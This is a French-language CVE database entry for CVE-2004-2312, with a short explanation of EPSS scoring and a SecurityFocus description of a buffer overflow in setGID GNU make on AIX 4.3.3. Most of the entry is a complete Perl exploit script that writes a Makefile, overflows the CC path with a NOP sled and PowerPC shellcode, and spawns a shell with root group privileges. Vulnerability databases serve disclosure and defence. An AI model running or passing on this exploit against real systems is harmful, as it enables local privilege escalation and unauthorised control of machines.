CVE-2004-2312 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/9903/info GNU make for IBM AIX has been reported to be prone to a buffer overflow vulnerability, the issue is reported to exist due to a lack of sufficient boundary checks performed when reading the path to the CC compiler. Because the GNU make utility is reported to run with setGID root privileges, a local attacker may potentially exploit this condition to gain access to the root group. This issue is reported to exist on AIX 4.3.3 platforms. #!/usr/bin/perl # FileName: x_make_aix433_limited.pl # Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell. # Tested on low version of Aix4.3.3. # Author : watercloud@xfocus.org # Site : www.xfocus.org (EN) / www.xfocus.net (CN) # Date : 2003-5-30 # Announce: use as your owner risk! $CMD="/usr/local/bin/make"; $_=`/usr/bin/oslevel`; $XID="\x03"; @GID_LIST=(248,247); print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n"; print "From: [ www.xfocus.org 2003-5-30 ].\n\n"; print "Note :use this command to get gid=0 after egid=0 :\n"; print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n"; $str="k:k.c\n\t\${CC} k.c\n\t"; open mfd,">Makefile" or die "open file Makefile for write error!\n"; open kfd,">k.c" or die "open file .k.c for write error!\n"; print mfd $str, print kfd $str; close mfd, close kfd; $NOP="\x7c\xa5\x2a\x79"x800; %ENV=(); foreach $GID ( @GID_LIST) { $ENV{CCC}=$NOP.&getshell($XID,chr($GID)); system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300; } unlink "Makefile","k.c"; #sub sub getshell($XID,$GID) { my $SHELL,($XID,$GID)=@_; $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd"; $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0"; $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"; $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff"; $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78"; $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1"; $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff"; return $SHELL; } #EOF